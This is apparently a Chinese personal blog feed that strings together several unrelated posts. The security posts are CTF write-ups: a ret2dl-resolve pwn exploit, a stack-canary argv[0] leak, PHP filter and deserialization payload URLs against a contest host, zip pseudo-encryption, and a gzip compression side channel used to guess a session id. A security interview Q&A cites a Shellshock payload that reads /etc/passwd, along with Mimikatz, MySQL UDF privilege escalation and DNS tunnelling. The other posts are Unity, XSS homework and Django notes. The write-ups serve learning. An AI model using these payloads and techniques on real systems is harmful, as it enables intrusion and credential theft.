表地址,此处可以随意选择一个函数作为触发,这里以fflush函数为例。之后的r_info则是会跳转到Elf32_Sym
结构体上:
1 | Elf32_Sym *sym = &symtab[ELF32_R_SYM(reloc->r_info)]; |
这里我们发现,程序会检查reloc->r_info,观察其低八位是否为ELF_MACHINE_JMP_SLOT(也就是0x07)。因此我们可以让我们的fake_Elf32_Sym的地址按照0x100对齐。同时,因为是以取地址的形式进行的,所以这个地址需要按照0x10(也就是一个ELF32_Sym结构体的大小)进行安排。此处我们这个Elf_Rel
结构体应该为:
1 | +---------------------+ |
其中fake_sym_addr
和fake_r_info
满足数学关系
1 | fake_r_info&&0xff == 0x07 |
然后是结构体Elf32_Sym结构体,结构体如下
1 | typedef struct |
现在已经到了最后的阶段,此时我们只需要修改一个st_name
,让这个st_name指向一个我们可控的字符串地址,之后的内容可以完全照搬内存中的值:
此时的结构为
1 | +---------------------+ |
此时fake_st_name要满足
1 | fake_st_name = func_name_addr - addr(.dynstr) |
至此,整个动态绑定就完成了。完成后,当前的fflush函数就会绑定到另一个函数身上,完成控制流的截获。
首先,我们利用当前栈溢出,控制函数调用read函数,从而进行输入的控制:
这里注意,由于我们需要切栈,所以我们还需要一次ROP的机会,要让函数回到这个可以被exploit的函数上。
之后我们伪造当前的栈,以及在此处伪造动态绑定,结构体如图所示
在最后的位置,我们可以往其中塞入一些字符串,例如说调用的函数"system"的字符串,以及要调用的"/bin/sh"字符串等。于是之后,我们可以将当前构造改造为:
这里比较麻烦的是确定fake_r_info
,因为我们需要满足的条件为
则此时我们可以基于之前的地址来求当前地址的位置:
fake_rel_offset
的基础上+8,跳过当前结构体fake_sym_addr = fake_rel_offset+0x8 - symtab_addr
align = 0x10 - (fake_sym_addr & 0xf)
fake_sym_addr = align + fake_sym_addr
fake_sym_info
计算,就能得到我们此时填写的内容为fake_r_info = ((fake_sym_addr - symtab_addr) / 0x10) | 0x7
之后我们的fake_st_name就可以填写我们之前确定的"system"的字符串的地址减去strtab_addr的偏移量,即可完成构造
第二次来到受攻击的函数上后,我们布置好ROP链,就能够将esp转移到.bss
段上,完成攻击。
附上这种方法的exp:
1 | # -*- coding:utf-8 -*- |
首先既然是写的博客,肯定是要被大家看的。。。所以每次写的时候还是要注意注意再注意。。尤其是我这种粗心的人QvQ
然后是每种攻击方法要深刻理解。最初看到这个方法的时候,以为是通过符号进行查找的一种攻击方法,所以想到说要利用很大的控制地址,而且需要关掉很多保护等等。后来学习过程中才明白整个攻击的逻辑,发现其实限制条件没有我想象的那么多。
最后是exp写的很不熟练,最近有阵子没玩ctf,也没怎么研究漏洞啥的,结果写个exp又调了一整天。。。尤其这一次还是有了很多类似的exp的帮助的情况下。。。真的很佩服各位比赛的时候居然能这么快的调试exp,菜鸡果然还是菜啊。。。
听说是新手向的游戏,所以决定所有题目都尝试做一下看看:
首先进去就能看到源码
1 |
|
大概就是我们需要设置user,而且user还要是一个文件。于是我们这里的想法就是利用网页的data协议,也就是利用data:text协议让其解析一段文本并且作为内容:
1 | http://123.206.66.106/?user=data:text/html;base64,dGhlIHVzZXIgaXMgYWRtaW4= |
此时user就算是作为一个【文件】传输进去了。
然后就没思路了。。。。参考官方wp得知,此时要利用php的特殊协议:php://
php:// — 访问各个输入/输出流(I/O streams)
查到的传输方式为:
php://filter/resource=class.php
然而此时并不能读到字符串。。。后来查到说,都是要先base64处理一下,于是这里写成
http://123.206.66.106/?file=php://filter/convert.base64-encode/resource=class.php&user=data:text/html;base64,dGhlIHVzZXIgaXMgYWRtaW4=
发现就能够文件数据读到了:
读到的内容base64解密一下得到:
1 |
|
这个的意思就是说,这个php文件要设置了$file,但是我已经完全不会玩了。。。
查了以后知道,我们的关键就是找到f1a9.php,然后关键的是,我们需要【让一个Read对象中的file被赋值。】,__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。所以我们利用最后的参数pass,将我们自己实例化的对象先序列化处理,在顺着url传输后,在解析的时候会被解析成实例对象,从而实现file的赋值。
1 |
|
将其作为pass参数的时候,发现用原来的url并不能成功,后来发现是以为我们按照原来的传输方法,会进入到class.php里面,导致我们不能够进入f1ag.php文件中。最后我们把url改成:
1 | http://123.206.66.106/?file=class.php&user=data:text/html;base64,dGhlIHVzZXIgaXMgYWRtaW4=&pass=O:4:%22Read%22:1:{s:4:%22file%22;s:10:%22./f1a9.php%22;} |
终于过了。。。
这个打开发现zip里面的文件要密码:
但是我们注意到CRC,CRC其实就是把整个文件进行了CRC处理然后作为文件的校验。加上文件的题目,我们知道此事的文件中的内容并不是很长,所以我们可以尝试可以尝试暴力破解得到文件中的内容。
从网上找了一份zip格式的文件结构:
压缩源文件数据区:
50 4B 03 04:这是头文件标记(0x04034b50)
14 00:解压文件所需 pkware 版本
00 00:全局方式位标记(有无加密)
08 00:压缩方式
5A 7E:最后修改文件时间
F7 46:最后修改文件日期
16 B5 80 14:CRC-32校验(1480B516)
19 00 00 00:压缩后尺寸(25)
17 00 00 00:未压缩尺寸(23)
07 00:文件名长度
00 00:扩展记录长度
6B65792E7478740BCECC750E71ABCE48CDC9C95728CECC2DC849AD284DAD0500
压缩源文件目录区:
50 4B 01 02:目录中文件文件头标记(0x02014b50)
3F 00:压缩使用的 pkware 版本
14 00:解压文件所需 pkware 版本
00 00:全局方式位标记(有无加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了)
08 00:压缩方式
5A 7E:最后修改文件时间
F7 46:最后修改文件日期
16 B5 80 14:CRC-32校验(1480B516)
19 00 00 00:压缩后尺寸(25)
17 00 00 00:未压缩尺寸(23)
07 00:文件名长度
24 00:扩展字段长度
00 00:文件注释长度
00 00:磁盘开始号
00 00:内部文件属性
20 00 00 00:外部文件属性
00 00 00 00:局部头部偏移量
6B65792E7478740A00200000000000010018006558F04A1CC5D001BDEBDD3B1CC5D001BDEBDD3B1CC5D001
压缩源文件目录结束标志:
50 4B 05 06:目录结束标记
00 00:当前磁盘编号
00 00:目录区开始磁盘编号
01 00:本磁盘上纪录总数
01 00:目录区中纪录总数
59 00 00 00:目录区尺寸大小
3E 00 00 00:目录区对第一张磁盘的偏移量
00 00:ZIP 文件注释长度
我们用winhex打开看一下:
指定位置果然有个01表示是否加密,我们尝试改成00:
果然是伪加密。。。。。
一个C++的代码,结果我强行爆破做了。。。
1 |
|
后来仔细观察,发现自己的算法都看懂一半了为啥要爆破。。。。
解释一下:
1 | // a:输入字符串 b:空字符串 b[0] = a[0]^0x1 |
首先我们观察上面的算法:
b[i] = a[i]^b[i - 1]
b当前的字符只于上一个字符有关系,然后加上后面的那段:
b[i] = b[i] ^ b[i + 1] ^ 0x53
这里我们b[i + 1]不和b[i]相关,所以我们可以写出递推式:
b[i] = b[i] ^ a[i + 1] ^ b[i] ^0x53 = a[i + 1] ^ 0x53
相当于b[i] 只与a[i + 1]相关
然后后面的算法:
1 | // a 至少18位 |
虽然看着麻烦,但是注意到,这个key它本身就是个固定的值,在前7个数据中自己和自己异或,完全和a无关,而从第8个开始,之和前9个a相关,然而此时的a[7]以后的值早就算出来了,所以此时就完全不影响后续。。。然后我们知道通过e和b的异或,就能够把此时的a求出来.这里贴一段大佬的代码:
1 | # -*- coding:utf8 -*- |
这一题完全是自己做出来的。。找到函数的描述,发现一开始就把flag读到了一个全局变量里面:
然后再下面的函数中找到了如图所示的漏洞:
于是思路变为绕过cananry。
绕了半天都绕不过去啊。。。然后发现,当让这个___stack_chk_fail触发的时候,会产生字符串:
1 | *** stack smashing detected ***: ./whatiscanary terminated |
这个函数的名字肯定是我们argv[0]里面的参数,所以这里我们不用绕过canary,而是通过覆盖我们argv的第一个参数的位置,从而将这段内容里面的./whatiscanary的字符串变量地址覆盖成flag的地址即可。
1 | 函数名字所在的栈的地址为: |
所以需要的字符串长度为:232个字符
在这之后将其覆盖成全局变量的地址即可。
难得成功了一回。。。代码如下:
1 | from pwn import * |
这种题目已经不是第一次见了,这种涉及到.plt的花式操作之前只知道修改.plt然后通过libc.so.6来对比查找,然而这个题目并没有相关的数据泄露。。。难道要开始leak了?这个题目知道最后放了wp,学习了一波无需libc进行system调用的一种花式操作 – ret2dl-resolve
逻辑很简单,就是一个read函数的溢出
然而这个文件实在是太简单了,只有一点可以用的函数:
导致我们完全没有什么利用的思路啊。。。连泄露地址的write都没有。。所以最后完全不会做,学习了一波ret2dl-resolve
然后我们这里就利用将伪造的dynstr写入.bss,然后替换掉对应的.dynstr的方法。
我们这里的思路是将fflush替换掉
然后/bin/sh传入,从而起到利用的作用。
代码参考了hook大佬:
1 | # -*- coding:utf-8 -*- |
参考博客:
http://blog.xmsec.cc/blog/2016/06/27/ZIP%E4%BC%AA%E5%8A%A0%E5%AF%86/
http://www.moonsos.com/post/256.html
Mimikatz是通过哪个服务来获得windows下的用户名和密码的?
Mimikatz是一款用来获得windows下的密码的工具,当黑客进入Windows系统后,可以利用此工具进行提权操作。这个工具是从lssas.exe中获取个人信息的( Local Security Authentication Serve, 本地安全管理服务,内部存储了登陆了此电脑的用户的基本信息)
User-Agent:(){:;} cat/etc/passwd 这段payload是哪个漏洞的利用方式?
CVE-2014-6271
这个是bash的一个漏洞。当bash在处理环境变量的时候会触发.
webserver常常将Referer、UserAgent、header等参数作为环境变量的设置源,于是我们通过设置User-Agent,就可以借此进行远程代码的实行。
反序列化漏洞
这里以java为例子:Java序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中,Java中的ObjectOutputStream类的writeObject()方法可以实现序列化。 Java反序列化即逆过程,由字节流还原成对象。ObjectInputStream类的readObject()方法用于反序列化。 因此要利用Java反序列化漏洞,需要在进行反序列化的地方传入攻击者的序列化代码。能符合以上条件的地方即存在漏洞。
其实不只java,python,php,node.js中,凡是存在着反序列化的函数(比如java的readObject, js的unserialize, python中的pickle.loads, 都会存在在【反序列化的时候执行代码】的特性,通过设置了这个特性,就能够实现反序列化漏洞
如何预防CSRF
CSRF(Cross Site Request Forgery 跨站伪造请求访问),通过盗取用户的个人信息,从而伪造访问,攻击等等。
触发的方式一般为在访问了安全的站点A后,访问危险站点B,而此时与A的回话并没有结束,从而B站点能够利用残留的回话内容,伪造成用户访问A
防御的方法一般有:
DNS查询的过程为 本地查询 --> local server查询 -->尝试访问其他的dns服务器进行查询
然后假如当前的网络拓扑图为
此时主机A不可访问外网(防火墙进行过滤,但是不过滤dns请求),但是可以访问到本地服务器。那么如果此时想要和目标服务器构成通信,那么此时可以通过将我们的通信数据放在DNS查询过程中,当本地服务器无法解析当前DNS后,就会通过防火墙将DNS查询迭代查询,最终定位到目标服务器,然后目标服务器就会接受此DNS数据包并解析出主机A的数据,并将数据返回在DNS 回复中,这样就构成了一个DNS Tunnel 通信。
而iodione就是一个能够简单的构造这个DNS隧道的一个工具。
chkrootkit – 入侵工具检测
rootkit是入侵者经常使用的工具,这类工具可以隐秘、令用户不易察觉的建立了一条能够总能够入侵系统或者说对系统进行实时控制的途径(比如说,注册了一个$user
的用户,这个用户在命令行中是看不到的,$具有隐藏的属性),而chkrootkit则是能够检测出这些rootkit的一种工具
cc攻击本身需要使用代理服务器,优点有:
登陆ip 时长的命令,获得DNS记录的命令
lastlog 用户 -t – 最近几天内用户的登陆历史
nslookup url – 当前域名的dns解析结果与对应ip
dig url – 当前域名解析,其cname,type(也就是类型是A - ipv4 还是AAAA - ipv6啦)还有ip 获得的是DNS解析记录
host url – 输出当前的A和MX(address and mail exchanger )
nmap 10.5.5.5.1 会扫描哪些端口
上网找到答案,说是这个是移动的宽带导航页,需要进行DNS解析,所以要访问21(ftp?)和8080端口
XSS终结者 – CSP
CSP 全称为 Content Security Policy,即内容安全策略。主要以白名单的形式配置可信任的内容来源,在网页中,能够使白名单中的内容正常执行(包含 JS,CSS,Image 等等),而非白名单的内容无法正常执行,从而减少跨站脚本攻击(XSS),当然,也能够减少运营商劫持的内容注入攻击。
1 | 示例:在 HTML 的 Head 中添加如下 Meta 标签,将在符合 CSP 标准的浏览器中使非同源的 script 不被加载执行。 |
不支持 CSP 的浏览器将自动会忽略 CSP 的信息,不会有什么影响。具体兼容性可在caniuse查看
XSS终结者中,HTTP头部来限制资源的策略是
同源策略,应对办法是"跨域"
Mysql的自定义函数功能在入侵的时候可用于UDF提权
UDF是mysql的一个共享库,通过udf创建能够执行系统命令的函数sys_exec, sys_eval,使得入侵者能够获得一般情况下无法获得的shell执行权限。
Wannacry利用的漏洞类型
wannacry使用的是SMB协议,也就是通信协议,就是我们通常说的网络文件共享协议。利用这个协议,我们就能够访问到远程电脑上的共享文件,从而进行远程文件的访问。而wannacry本质上是利用了这个协议中的漏洞,从而进行的病毒内容的传播。
Rocchio算法
这个算法是一个用来文本分类以及查询的算法。这个算法的原理相当于是将【查询的总体内容当作总体set】,然后我们每个【set中的元素会占据一定的大小】,通过计算【每一个元素占据set的比例,得到一个向量】。通过计算各个元素的分类比例,【能够得到每一种分类的一个质心】。然后当我们需要查询的时候,我们通过计算当前查询信息的各个元素比重,能够合理的找到当前查询的向量落在哪个信息里面。(大致是这么理解的。。)
摘抄自http://www.36nu.com/post/183.html
对一个APK文件签名之后,APK文件根目录下会增加META-INF目录,该目录下增加三个文件:
比如说
当Android打开wifi热点运行在哪个进程?
Service
伪基站实现劫持的原理
伪基站利用移动信令监测系统监测移动通讯过程中的各种信令过程,获得手机用户当前的位置信息。伪基站启动后就会干扰和屏蔽一定范围内的运营商信号,之后则会搜索出附近的手机号,并将短信发送到这些号码上。屏蔽运营商的信号可以持续10秒到20秒,短信推送完成后,对方手机才能重新搜索到信号。大部分手机不能自动恢复信号,需要重启。伪基站能把发送号码显示为任意号码,甚至是邮箱号和特服号码。
https://zh.wikipedia.org/wiki/%E4%BC%AA%E5%9F%BA%E7%AB%99
大致流程就是:
Android adb shell查看进程指定文件
ps [pid|name]
Applocker
应用程序控制策略,是Windows中的一种管理规则,可以指定指定的应用使用,指定的脚本运行,位置如下:
powershell杀软绕过。。。
这篇freebuf的大佬写的很好。。就借鉴一下了
http://bobao.360.cn/learning/detail/2994.html
记得的就这些了。。。真是好难啊(反正都不会就这样吧_(:3_)_Z)_
参考
http://blog.bihe0832.com/android-v2-issue.html
Unity 3d 作为一款非常流行的游戏引擎,里面集成了游戏制作需要的大部分内容。
Unity里面有几个比较重要的概念(自认为)
这个是Unity的一个核心类,通过集成这个类,我们的对象能够操作Unity的相关属性,并且集成相关的类来使用。其中使用的最多的就是GameObject – 这个对象就是Unity里面最基本的操作对象,通过设置这个属性,我们就能够将Editor中的对象与当前Behavior进行关联,从而进行一系列操作。然后我们可以通过在Behavior中定义Component – 对象的属性,从而来对gameObject制定的对象属性进行操作。
其中常用的属性为:
Unity的核心类之一。在MonoBehaivor中定义Component,就能够操作此时已经Attach到当前gameObject的Component身上。设定的Component可以通过右上角的齿轮按钮进行属性的重置。
其中常见的Component有:
属性
如同前面提到的,存放了物体关于【位置大小】的所有信息。包括平移,旋转,大小。当我们创建对象后,为了保证我们的参考系正确,最好通过右上角的gear对其进行reset
当通过拖动多个图片到一个游戏对象上来创建这个对象的时候,一定会创建一个SpriteRender。同时,我们会在本地创建一个.anim用于动画内容的Animation文件,以及一个Animation Controller,用于管理当前的动画播放顺序,以及触发条件。当我们添加了多组不同的图片的时候,就会有不同的动画资源,其中默认的是第一组拖进去的图片动画。但是只会创建一个Animator Controller
Animator的触发可以在Parameter处进行设置。通过一侧的小箭头能够添加我们指定的parameter:
Parameter有几种:
为了在不同的动画直接实现沟通,我们可以在Editor的Animator中对对象右键,找到Make Transition,就能够指定动画之间的播放关系。设置的Trigger动画最好形成一个【往返的Transition】,从而能够实现触发动画并且恢复的效果
Animator的Animator Controller管理了动画的播放,这个东西可以实现多个动画播放控制,同时也会存储当前动画播放的特质。利用这点,我们可以处理一些重复播放的动画
摄像机属性,可以决定当前的拍摄位置。通常来说,Camera的x,y,z设置和物体的位置还是有点不一样的,其中的z一般是-10,从而能够【往下看】。在2d游戏中,可以在projection中设置平行摄像机,此时的Camera需要设置Size(orthographicsSize属性)
Physics是一个我们的物理模型,算是模拟中的一个重要的概念。gameObject可以添加的相关Component的内容为xxCollider和Rigidbodyxx。Unity的物理模型有两套,一个Physics和Physics2D,这两个物理模型是共存的,但是双方不存在交互。
无论3d还是2d对象都可以设置,并且两者并不发生交互。
这个Component设置的是一个刚体的概念,也就是说此时该对象会考虑力的作用,并且会与Collider发生碰撞检测。这个对象有着现实中的一些基本类型,比如mass(质量),force(力)和accelerate(加速度)
脚本对象,我们的cs脚本就是通过这个Component对其进行操控。主要的代码就是写在这个位置。由于Script也是Component,于是在管理类的时候,我们可以直接将脚本对象传进去。
一般来说,开发的时候喜欢使用一个GameManager对象(Singleton对象,详见后开发模式)来存储各个类之间的关系,此时我们就能够吧Script作为Component传入。
在Script中获得Component的方法
1 |
|
如果属性被设置成了public,那么在Editor中将变得可见并且可编辑(如果在最前面跟了[HideInInspector]装饰的话就不会出现)
详细解说见后。
UI是一种处理画面交互内容的Component。与Physics一样,地下也有很多的子类型。每次创建UI对象,就会创建一个Canvas对象在Hierarchy,并且我们的子类型也是在其下,只有Canvas下的UI对象发生更变才能够被绘制出来。UI的坐标与普通的Transform不太一样,是一个类似Pivot(锚点)的选取方式,并且坐标Pos是相对于当前的Canvas而言的。
用于管理音频播放的Component。通常来说,也会使用一个单例模式(单利模式意思见后)来操作,因为所有的音频(视为AudioClip)都要将其放置于对应的AudioSource上才能播放。
相关属性:
由于每个MonoBehavior中的对象多有很多的方法,这里记录一下各个函数的作用:
Scrpit中可以将当前Attach的对象以全局变量的方式获取。
1 | void func(params int[]p); |
1 | public class MyGenericClass<T> where T:IComparable { } |
此时的只有IComparable类能够传入
这个是一个模型,当我们在某些场景中频繁的需要加入一些重复的物体,或者同一个对象想在不同的scene中创建的时候,我们就可以使用Prefebs。当我们创建了一个对象后,直接将其重Hierarchy栏中拖下来就能够形成一个Prefebs。
每个Prefebs在使用的时候,可以直接通过在函数中实例化其将其放入当前的Scene。
可以在Prefebs上实现Animator override controller,这样会大大减小开发的时间
一个对象以Prefebs的状态存储,然后再脚本中调用的时候,其实此时对象并没有被初始化,只有当我们主动调用了instantiate函数的时候,才会将对象实例化:
1 | GameOjbect instantiate(obj, transform, rotation) |
此时会从文件中读取这个对象,并且将其实例化。当对象实例化后,就会存放在内存中。
如果是普通的对象,一般建议使用Script对其进行操作,让其在合适的时候调用Destroy。而如果是Scene的话,可以通过调用SceneMangement.UnloadScene将其销毁。当一个Scene对象被销毁的时候,其中的对象也将被销毁
SceneManage是运行时管理Scene的一个静态类,而我们的游戏就是绘制在一个Scene里面的。所以当我们需要管理关卡的时候,我们就会用到这个类。
1 | void OnEnable(){ |
(在脚本对象载入的时候注册,从而能够及时的读取scene)
当我们将该对象销毁的时候,我们要注意及时的取消注册
1 | void OnDisable(){ |
当我们有一些对象(比如管理全局的GameManager)需要实例化的时候,我们显然只希望存在一个独立的GameManager对象,而不是说存在多个会被操作的,而且参数不共享的对象,这样的对象就成为单例对象。为了创建这类对象,我们可以如下创建:
1 | public static ThisClass instance = null; |
之后,当我们需要使用ThisClass的时候,我们可以通过ThisClass.instance的方式调用此对象。当然,该实例显然不能作为入口,入口函数中应当实例化当前对象:
1 | if (ThisClass.instance == null) |
协程类似进程,但是其并不是位于操作系统的概念,而是编译器优化处理的结果。当我们使用Coroutine的时候,编译器回去维护一个状态机,从而让我们设置为协程的函数能够通过使用yield 关键字暂停。同时,yield return 将会返回一个Corotine对象,从而可以让我们用StartCoroutine将其启动。
使用方法:
1 | private IEnumerator Fun(){//函数返回值定义为IEnumerator,迭代对象 |
Invoke(“FunctionName”, time);
这里相当于将FunctionName函数委托至time秒后执行。
XSS,全称是Cross Site Scripting(跨站脚本攻击),为了不和CSS名字重叠,于是起了这样的名字。XSS攻击正如名字中提到的那样,在用户访问的web页面中插入我们的恶意脚本,对网站或者其他用户的访问进行干扰,或者泄露一些重要信息,从而达到恶意攻击的目的。
这次的作业提供的源代码如下:
1 | <html> |
仔细看会发现,这里提到的
环境选择了wamp,Windows下的Apache+Mysql/MariaDB+Perl/PHP/Python,一组常用来搭建动态网站或者服务器的开源软件,能够快速的搭建在本地的服务
其实说起来,比起写代码,xss好像更简单一点,但是既然要实现这个功能,那么还是得写一下这几个文件的。。由于本人web白痴,接下来写的都是些简单的学习过程,想要继续看实验过程的请跳过。。。
上w3cshool中了解到,一般js中会在这个文件中写一些关于cookie存储和读取的函数,比如getCookie,checkCookie,setCookie之类的。
1 | function set_cookie(c_name, name, expire_days) { |
菜鸡参考着w3cschool写的。。。
这是个php(菜鸡也不会php呀QvQ)从代码上看,我们需要实现两个函数:
1 |
|
后来意识到,渲染这个动作应该是每次提交一次都要进行的,而却更重要的是发现,action会将我们的请求提交到一个叫做list.php的文件里面!这就意味着,我们必须要在list.php中存储数据,然后comments.php只不过是一个展示数据的函数(?)
不管怎么说,逻辑好像都不太对…这里只好先硬着头皮吧renderComments写完:
1 |
|
好艰难的写完了这一段。。。。后来还发现,php的global对象必须要在函数内生命了global才能够当成全局变量使用
]]>背景
小Q有一些排好序的链表放在内存里。为了更紧凑地利用空间,小Q运行了一下内存整理程序,把链表们整齐的放在了一个内存地址连续的数组里。 每个链表元素包含所含数的大小,以及下一个链表元素在数组里的zero-based的下标。"-1"表示没有下一个元素。每个链表里有10000个元素,也就是说,下标的范围是0~9999。
对于每一个整理好的链表,小Q想知道是否存在某个给定的数,但除了按照链表顺序或数组顺序遍历所有元素外他并不知道怎么做。 然而小Q的电脑年代久远,内存访问很慢,所以他希望用尽量少的访存次数能知道是否存在某个数。 但他很忙,所以他出了这道题,希望你们能用最少访问次数回答一个排好序的放在数组里的链表是否存在某个数的询问。
思路
首先这个数字可以理解成:
1 | { |
也就是数组【下标】所指的内容中【包含了链表元素】,其中链表是排序了的,但是数组并没有排序。
要注意看题目,重点在于用尽量少的访存次数,找到数字
然后下面呢的提示中有提到:
相当于这个访问细节我们不需要考虑,于是我们只需要考虑我们如何减少访问的次数即可。由于是一个打乱过 的数组,但是链表却又是[排过序],那么我们减少访问次数的方法最直观的想法就是【二分查找】。然而我们的数据确实打乱过,二分要求的却是要找到最大值和最小值,从中取值。
后来仔细想,二分查找的本质思想就是【在某个区间中查找我们需要的数值】,于是得到启发:
从区间取值 —> 此时的链表是排好序的 -----> 利用链表形成区间 ----->用随机数取值从而形成大致的区间
于是我们随机选取50个数字,以这些数字作为下标来选取内容:
然后将这些节点按value内容排序,从而形成一个个区间,然后让我们的target(需要查找的值)找到自己所处的区间,这样的话理想状态下就能够在 10000/50 +50 = 250 次中完成查找。
这里附上代码和比赛api:
1 | import math |
最后正好挂了5个测试。。。。所以正好通过了
=======================================
(没有做出来的有趣的题目们)
旷工小Q最近发现他的AI robot有了一些智能化的倾向,开始自动修改一些代码和配置, 目前已经剥夺了小Q账户的root权限,但貌似还没有更进一步的行动。小Q认为这很有有趣 也很危险,所以希望先终止AI的运行再慢慢调查;然而杀掉AI进程需要root权限,而强行 关机可能造成数据损失。
好在小Q早就考虑到了这一点,他运行的是修改过的linux kernel。在主板上有一个加密芯 片,存储有令牌和私钥。如果能够用私钥对令牌签名,并把签名结果直接发送到wifi interface上,该kernel就会直接终止AI进程。签名可以通过一台签名服务器和前面的代理 来访问。签名服务器的代码是放在ROM里的,不可被修改,可以被整个系统访问,但需要 sessionid作为认证;而代理服务器只能通过OTG线访问,所以不需要认证。现在小Q已经成 功连接上了代理服务器,然而他发现狡猾的AI在里面加了两行:
if page == ‘signtoken’:
return make_response(‘permission denied’, 403)
而现在小Q已经没有权限修改proxy的代码了。所以他希望你能帮助他,绕过代理服务器的权限检查,得到令牌签名,终止AI。
代理服务器:通过47.93.114.77:38700来访问; 源代码:proxy.py
签名服务器:通过47.93.114.77:38701来访问; 源代码:server.py
1 | #!/usr/bin/env python3 |
1 | #!/usr/bin/env python3 |
这题当时比赛时,为了看懂题目花了很久很久。。。。后来才明白,首先我们通过访问proxy的服务器,能够出发下列关键代码:
1 | UPSTREAM_URL = 'http://localhost:38701' |
通过输入了username和page访问url,从而将自己的username签名成sessionid,然后访问到38701端口,也就是server服务器上。然后server服务器上总共提供三种不同的服务:
这三种服务都是需要登陆验证的。一般网站的登陆验证机制就是由sessionid进行确认,这里也不例外:
1 | try: |
由于我们在proxy中发现了signtoken这个字符串已经被过滤了,也就是说我们不能按照代理转发的方式去访问。自己做得时候一度怀疑和eval这个功能有关系,然而事实证明,这个功能就是个陷阱。。。。根本啥都做不来。
看了别的大佬的代码之后,发现其实根本就不是利用这个eval,而是要利用proxu中有一段debug信息:
1 | if request.form.get('debug'): |
首先给自己扫盲一下,这个debug参数的意思是:当存在于form表单中(也就是post请求)并且值不为0,就能够返回true
然后沃恩可以看到,这里将我们的headers参数加入了格式化字符串,headers中都有什么呢:
1 | <br /><hr>proxy debug<br />server response headers: <pre>{'Server': 'nginx/1.4.6 (Ubuntu)', 'Date': 'Mon, 27 Mar 2017 08:43:03 GMT', 'Content-Length': '238', 'Connection': 'keep-alive', 'Vary': 'Accept-Encoding', 'Content-Type': 'text/html; charset=utf-8', 'Content-Encoding': 'gzip'}</pre> |
这里要关注如下变量:
我们可以看到此时使用的加密算法是gzip,gzip是一种基于deflate算法的压缩算法。deflate是一种压缩数据流的算法,任何需要压缩流的地方都可以用。
delfate算法由下面两个算法一起构成:
也就是一种能够将重复的字符压缩的算法,而且更厉害的还能够这样:
由图可知,此时能够将aacaacabcabaaac压缩成**(_,0,a)(1,1,c)(3,4,b)(3,3,a)(1,2,c)**,可以见得其压缩率。
加密算法为:
1 | Repeat: |
解密算法为
1 | for(i = p, k = 0; k < length; i++, k++) |
通过上述的学习,大概能够意识到一点:如果使用了gzip进行了压缩的网站,那么在遇到【相同字符串】的时候,就会将对应的字符串进行压缩。反过来,当我们需要猜测某个会存在于某个会话中内容的时候,我们可以用这种方法去暴力猜测!
以Cookie为例子。假如我们的Cookie内容是:
1 | Cookie:secret=123xxx |
那么,虽然这个secret我们获取不到,但是我们可以通过泄露头部的方法将Cookie:secret=这段内容拿到手。当我们在html中填充内容:
1 | Cookie:secret= |
的时候,gzip压缩算法中的DEFLATE就会认出这段字符串并且将其压缩成上文提到的那个形式。接下来我们可以尝试猜测后面增加额度字符串:
1 | Cookie:secret=a |
在正确的猜测之前,这个字符串由于之前是没有出现过的,所以并不会被压缩。然而,当我们猜测正确后:
1 | Cookie:secret=1 |
此时DEFLATE会将1也压缩至之前的长度中,这就说明了此时的1是压缩成功的,换句话是,cookie的第一位长度就是1.
看到我们的proxy端的代码,可以看到这里会将我们的Content-Length给输出来,那么我们就可以通过构造这个Cookie:sessionid=字符串,进行sessionid的猜测,从而完成攻击。
然而实际实现起来远远没有这么简单。。。。完全是暴力破解,因为很多数据同时会在不同的状态下被压缩,从而导致长度不发生变化。。。。最后还是得靠暴力破解。。。。
1 | #-*- coding:utf-8-*- |
这个只能找到19位的sessionid。。。。从大佬的blog看得找到24位才行。。。GG看起来只能暴力猜测了
参考博客:
http://hzp.iteye.com/blog/1833619
http://www.cnblogs.com/en-heng/p/4992916.html
有一个村庄,村庄中部分用户已经通了下水管道,但是还有一些用户没有通,请问至少要多建多少根下水管道才能让所有的用户都联通呢?
5 3 (5个用户,已经修筑了3条线)
1 2 (修筑了下水道的用户)
2 3
3 4
1
至少还要输出1条
仔细看会发现是一个最小并查集的题目,难点就在于如何将已经连通的城市表示出来。这里采用树的模型,也就是说,我们通过遍历边,让 边两侧的点都挂在同一棵树下,从而形成一个个集合。
树我们就用数组来表示,然后数组中的元素表示父节点。每当我们需要判断当前集合的值的时候,我们就从子节点往上查找,直到找到根节点的值。查找的过程写成递归的形式就好。
最后我们让每个子节点都直接链接到根节点上,最后对数组排序,就能很容易的找到有哪几个集合了。
(感谢dalao学渣晖sir提供的思路和讨论)
1 |
|
由Git pro中了解到,每一个分支应该代表了当前要完成的任务,也就是说,每一次开发的时候,应该是以开发特性作为分支的名字。当然,也可以使用next等表示开发版本的
API是将不同模块连接的重要纽带,所以当我们开始项目后,就要及时的给出API,而不是先写代码。
django对数据库的支持很好,但是一次性记下来始终还是太难了,这里记下文件路径:[django/forms/field.py]
毕竟是网页,http的相关指示也是要求有的
200——交易成功
201——提示知道新文件的URL
202——接受和处理、但处理未完成
203——返回信息不确定或不完整
204——请求收到,但返回信息为空
205——服务器完成了请求,用户代理必须复位当前已经浏览过的文件
206——服务器已经完成了部分用户的GET请求
GET:向特定的资源发出请求。
POST:向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的创建和/或已有资源的修改。
PUT:向指定资源位置上传其最新内容。
DELETE:请求服务器删除Request-URI所标识的资源。
当我们需要将我们的model中的数据传输的时候,总不能现场封装一个json吧(以前java里面居然干过这样的蠢事。。。)所以这里使用serialize将我们指定的类数据序列化,
例如:
1 | from datetime import datetime |
首先定义一个类,有一些基本的属性。
1 | from rest_framework import serializers |
然后用序列化定义,定义相应的内容以及对应的数据库内容。如果使用了django框架的话,此时可以将自己的model类直接赋值给对应的model属性.
之后,如果我们将comment序列化处理后,将会得到:
1 | serializer = CommentSerializer(comment) |
一个序列化处理后的结果。此处可以看见,此时的data已经变成python内建的dict,于是如果此时我们想要传输json的话,我们只需要使用自带的json封装即可:
1 | from rest_framework.renderers import JSONRenderer |
同样的是,这个类还能够进行反序列化:
1 | from django.utils.six import BytesIO |
这个viewset能够帮助开发者更加专注与models的开发和交互,并且能够让url能够自动化构建。
我们这里介绍项目中会遇到的几个方法:
viewsets.ModelViewSet:
这个类会提供list
, create
, retrieve
,update
和 destroy
方法。这些方法能够帮助我们更快的构建页面。
通过继承其对应的类可以实现渲染效果:
1 | class ExampleViewSet(ModelViewSet): |
然后我们可以在注册一个我们的url
